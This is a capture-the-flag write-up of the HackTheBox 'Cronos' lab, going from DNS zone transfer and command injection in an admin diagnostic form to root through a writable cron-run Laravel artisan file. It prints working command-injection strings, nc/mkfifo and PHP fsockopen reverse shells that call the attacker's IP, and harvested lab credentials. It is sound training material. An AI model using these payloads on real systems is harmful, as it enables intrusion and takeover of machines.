CyberSec Writeups

Red Team / Blue Team labs - HackTheBox, BlueTeamLabsOnline, TryHackMe, PortSwigger

HackTheBox: Cronos

linux dns zone-transfer command-injection reverse-shell crontab

Cronos is a Linux-based machine authored by ch4p, with an average rating of 4.5 stars.

// Lessons Learned

  1. As always, HTTP redirects should be treated as mere suggestions rather than rules, to potentially discover more content.

// Recon

┌──(kali㉿kali)-[~/HTB/cronos]
└─$ nmap -A -p- cronos.htb
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-29 09:26 AEST
Nmap scan report for cronos.htb (10.10.10.13)
Host is up (0.054s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 18:b9:73:82:6f:26:c7:78:8f:1b:39:88:d8:02:ce:e8 (RSA)
|   256 1a:e6:06:a6:05:0b:bb:41:92:b0:28:bf:7f:e5:96:3b (ECDSA)
|_  256 1a:0e:e7:ba:00:cc:02:01:04:cd:a3:a9:3f:5e:22:20 (ED25519)
53/tcp open  domain  ISC BIND 9.10.3-P4 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.10.3-P4-Ubuntu
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Cronos
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1928.70 seconds

Nmap reveals this machine is running Ubuntu Linux and hosting the following services:

A request to the DNS server for zone transfer (-t axfr) returns the complete domain/zone recordset, revealing several additional hostnames:

┌──(kali㉿kali)-[~/HTB/cronos]
└─$ dig -t axfr cronos.htb @cronos.htb

; <<>> DiG 9.18.1-1-Debian <<>> -t axfr cronos.htb @cronos.htb
;; global options: +cmd
cronos.htb.             604800  IN      SOA     cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
cronos.htb.             604800  IN      NS      ns1.cronos.htb.
cronos.htb.             604800  IN      A       10.10.10.13
admin.cronos.htb.       604800  IN      A       10.10.10.13
ns1.cronos.htb.         604800  IN      A       10.10.10.13
www.cronos.htb.         604800  IN      A       10.10.10.13
cronos.htb.             604800  IN      SOA     cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
;; Query time: 59 msec
;; SERVER: 10.10.10.13#53(cronos.htb) (TCP)
;; WHEN: Wed Jun 29 09:30:55 AEST 2022
;; XFR size: 7 records (messages 1, bytes 203)

A cursory search using searchsploit reveals no obvious exploits for the version of BIND running, save for some possible cache poisoning attacks:

┌──(kali㉿kali)-[~/HTB/cronos]
└─$ searchsploit BIND dns
---------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                            |  Path
---------------------------------------------------------------------------------------------------------- ---------------------------------
BIND 9 0.3beta - DNS Cache Poisoning                                                                      | multiple/remote/4266.py
BIND 9.4.1 < 9.4.2 - Remote DNS Cache Poisoning (Metasploit)                                              | multiple/remote/6122.rb
BIND 9.5.0-P2 - 'Randomized Ports' Remote DNS Cache Poisoning                                             | multiple/remote/6236.txt
BIND 9.x - Remote DNS Cache Poisoning                                                                     | multiple/remote/6123.py
BIND 9.x - Remote DNS Cache Poisoning                                                                     | multiple/remote/6130.c
Blizzard Update Agent - JSON RPC DNS Rebinding                                                            | windows/local/43879.txt
FRITZ!Box 7.20 - DNS Rebinding Protection Bypass                                                          | hardware/remote/49293.txt
Transmission - RPC DNS Rebinding                                                                          | multiple/remote/43665.md
---------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

Accessing the webserver through either cronos.htb or www.cronos.htb returns the same default landing page, with no internal links but a strong indication of the Laravel PHP Framework being used:

This is backed up by the presence of a laravel_session cookie being set in the response:

Set-Cookie: laravel_session=eyJpdiI6Ik5sWHRoTGxtUnpZUHN0bVVpb2hYa3c9PSIsInZhbHVlIjoiaVpIS2M1WXJoVDV3cTJxYU5aRzg0dVU4Z3Y3SThTczVKOWE0NkprbkdWbE5mNnI4bUJObUpHUmpJQzhmcG5FTUYzd2VhOGdqT29zemZnN1VcL0NZZnZBPT0iLCJtYWMiOiI3NDM4ZTYxNTdjZDk5MTI3NWFjZTZhNzdiNTkzNzA4ZTg5MTc3OGQxMDc3YTJjNTEzZjc3MmEwNjI4NGM0MzZkIn0%3D; expires=Wed, 29-Jun-2022 01:36:42 GMT; Max-Age=7200; path=/; HttpOnly

ns1.cronos.htb returns a default Apache / Ubuntu page:

while admin.cronos.htb returns some kind of login portal:

// Initial Foothold

This login page seems the most promising lead so far. There’s no indication of a particular web technology / or framework in use, and testing some obvious default credentials (admin / admin, admin / password etc.) proves fruitless. Fuzzing the server with Feroxbuster reveals a couple of additional URLs that are mostly redirects (logout.php, welcome.php, session.php), as well as confirming php is in use:

┌──(kali㉿kali)-[~/HTB/cronos]
└─$ feroxbuster -u http://admin.cronos.htb -w ~/github/danielmiessler/SecLists/Discovery/Web-Content/raft-medium-files.txt   

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.7.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://admin.cronos.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ ~/github/danielmiessler/SecLists/Discovery/Web-Content/raft-medium-files.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.7.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
200      GET       56l      139w     1547c http://admin.cronos.htb/
200      GET       56l      139w     1547c http://admin.cronos.htb/index.php
200      GET        0l        0w        0c http://admin.cronos.htb/config.php
302      GET        0l        0w        0c http://admin.cronos.htb/logout.php => index.php
403      GET       11l       32w      300c http://admin.cronos.htb/.htaccess
403      GET       11l       32w      296c http://admin.cronos.htb/.html
403      GET       11l       32w      295c http://admin.cronos.htb/.php
302      GET       20l       38w      439c http://admin.cronos.htb/welcome.php => index.php
403      GET       11l       32w      300c http://admin.cronos.htb/.htpasswd
403      GET       11l       32w      295c http://admin.cronos.htb/.htm
302      GET        0l        0w        0c http://admin.cronos.htb/session.php => index.php
403      GET       11l       32w      301c http://admin.cronos.htb/.htpasswds
403      GET       11l       32w      299c http://admin.cronos.htb/.htgroup
403      GET       11l       32w      304c http://admin.cronos.htb/wp-forum.phps
403      GET       11l       32w      304c http://admin.cronos.htb/.htaccess.bak
403      GET       11l       32w      298c http://admin.cronos.htb/.htuser
403      GET       11l       32w      294c http://admin.cronos.htb/.ht
403      GET       11l       32w      295c http://admin.cronos.htb/.htc
[####################] - 15s    34260/34260   0s      found:18      errors:0      
[####################] - 14s    17130/17130   1188/s  http://admin.cronos.htb 
[####################] - 14s    17130/17130   1165/s  http://admin.cronos.htb/

As always when fuzzing a server, however, redirects should be treated as nothing more than suggestions. Visiting each of the links using a tool such as Burp Repeater, where redirects can be ignored, confirms there is content returned when requesting welcome.php:

Examining the HTML reveals a form designed to execute several network diagnostic tools:

<form method="POST" action="">
	<select name="command">
		<option value="traceroute">traceroute</option>
		<option value="ping -c 1">ping</option>
	</select>
	<input type="text" name="host" value="8.8.8.8"/>
	<input type="submit" value="Execute!"/>
	</form>

A request can easily be crafted in Burp Repeater to use this form to ping our attack box, 10.10.17.230:

POST /welcome.php HTTP/1.1
Host: admin.cronos.htb
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 53

command=%70%69%6e%67%20%2d%63%20%31&host=10.10.17.230

which results in ICMP traffic being received as expected:

┌──(kali㉿kali)-[~/HTB/cronos]
└─$ sudo tcpdump -i tun0 icmp                                                                                                                                 
[sudo] password for kali: 
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
10:44:17.194239 IP cronos.htb > kali: ICMP echo request, id 12985, seq 1, length 64
10:44:17.194271 IP kali > cronos.htb: ICMP echo reply, id 12985, seq 1, length 64

Given the format of the command and host parameters, it seems possible that this form may be vulnerable to command injection. A simple modification to the command parameter confirms this (non-URL encoded version shown):

command=ping -c 10.10.17.230; whoami; ping -c&host=10.10.17.230

This results in our attack box being pinged twice, but also the output of the whoami command appearing on the returned page:

With remote code execution confirmed, a reverse shell can be established using the system-native netcat binary at /bin/nc. The first attempted payload fails with an error (including 2>&1 in the payload ensures we receive errors, otherwise there is simply no response):

command=ping -c 1 10.10.17.230; /bin/nc -e /bin/bash 10.10.17.230 443 2>&1; ping -c

/bin/nc: invalid option -- 'e'<br>
This is nc from the netcat-openbsd package. An alternative nc is available<br>
in the netcat-traditional package.<br>

As outlined in the excellent HighOn.Coffee reverse shell cheatsheet, BSD netcat requires an alternative syntax:

command=mkfifo /tmp/lol;nc 10.10.17.230 443 0</tmp/lol | /bin/sh -i 2>&1 | tee /tmp/lol

Once url-encoded, sending this payload to the server results in our attack box listener catching a shell, which can be upgraded via the well-known python / bash technique:

┌──(kali㉿kali)-[~/HTB/cronos]
└─$ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.17.230] from (UNKNOWN) [10.10.10.13] 36300
/bin/sh: 0: can't access tty; job control turned off
$ python -c 'import pty;pty.spawn("/bin/bash")'
www-data@cronos:/var/www/admin$ ^Z
[1]+  Stopped                 nc -lvnp 443

┌──(kali㉿kali)-[~/HTB/cronos]
└─$ stty raw -echo

┌──(kali㉿kali)-[~/HTB/cronos]
nc -lvnp 443
            export TERM=xterm
www-data@cronos:/var/www/admin$ stty rows 55 columns 186
www-data@cronos:/var/www/admin$ 

From here, we can navigate to /home and retrieve the user flag from the usual location:

www-data@cronos:/var/www/admin$ cd /home
www-data@cronos:/home$ ls
noulis
www-data@cronos:/home$ cd noulis
www-data@cronos:/home/noulis$ ls
user.txt
www-data@cronos:/home/noulis$ cat user.txt
bc90c***************************

// Privilege Escalation

Beginning with manual enumeration, it’s possible to quickly confirm that:

Running netstat reveals there is a MySQL server available on the internal / localhost interface only:

www-data@cronos:/var/www/html$ netstat -antup
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -
...

Database servers configured in this way are usually accessible by a website running on the same machine, so that seems a likely place to find credentials. Since we already know Apache is running, we can check the contents of the /etc/apache2/sites-enabled folder to find the configurations:

www-data@cronos:/etc/apache2/sites-enabled$ ls -la
total 8
drwxr-xr-x 2 root root 4096 May 10 14:51 .
drwxr-xr-x 8 root root 4096 May 10 14:51 ..
lrwxrwxrwx 1 root root   35 Mar 22  2017 000-default.conf -> ../sites-available/000-default.conf
lrwxrwxrwx 1 root root   29 Apr  9  2017 admin.conf -> ../sites-available/admin.conf
lrwxrwxrwx 1 root root   31 Apr  9  2017 laravel.conf -> ../sites-available/laravel.conf

The 000-default file contains nothing useful but admin.conf and laravel.conf confirm their sites are running from /var/www/admin and /var/www/laravel/public respectively. Searching the admin folder quickly reveals credentials in the /var/www/admin/config.php file:

<?php
   define('DB_SERVER', 'localhost');
   define('DB_USERNAME', 'admin');
   define('DB_PASSWORD', 'kEjdbRigfBHUREiNSDs');
   define('DB_DATABASE', 'admin');
   $db = mysqli_connect(DB_SERVER,DB_USERNAME,DB_PASSWORD,DB_DATABASE);
?>

This provides access to an admin database that contains a users table, with a single row of data:

mysql> select * from users;
+----+----------+----------------------------------+
| id | username | password                         |
+----+----------+----------------------------------+
|  1 | admin    | 4f5fffa7b2340178a716e3832451e058 |
+----+----------+----------------------------------+

The admin index.php file confirms is an MD5 hash, but there is likely no value in trying to crack it, since we have access to the site’s code already:

...
$myusername = $_POST['username'];
$mypassword = md5($_POST['password']);
$sql = "SELECT id FROM users WHERE username = '".$myusername."' and password = '".$mypassword."'";
...

Similarly for the laravel site, there is a .env file in that directory which contains database credentials, but these don’t seem to provide a valid login:

DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=homestead
DB_USERNAME=homestead
DB_PASSWORD=secret
...

Of more interest is the following entry in /etc/crontab:

* * * * *       root    php /var/www/laravel/artisan schedule:run >> /dev/null 2>&1

This runs the command php /var/www/laravel.artisan schedule:run every minute, as the root user. Given that the our current user, www-data has full permissons on the artisan file, it means we can run any php code as root:

-rwxr-xr-x  1 www-data www-data    1715 Jun 29 04:50 artisan

Artisan is actually a helper utility for assisting with site building, but since the file itself is nothing more than plain php, we can easily add a command to setup a new reverse-shell (again taken from HighOn.Coffee):

#!/usr/bin/env php
<?php

# insert malicious code here:
$sock=fsockopen("10.10.17.230",444);exec("/bin/sh -i <&3 >&3 2>&3");
...

With a new listener on port 444 running on our attack box, we never have to wait for more than a minute to catch a new shell, this time as root:

┌──(kali㉿kali)-[~/HTB/cronos]
└─$ nc -lvnp 444
listening on [any] 444 ...
connect to [10.10.17.230] from (UNKNOWN) [10.10.10.13] 36240
/bin/sh: 0: can't access tty; job control turned off
# whoami
root

From here, we can retrieve the root flag in the usual location:

# cat /root/root.txt
584d5***************************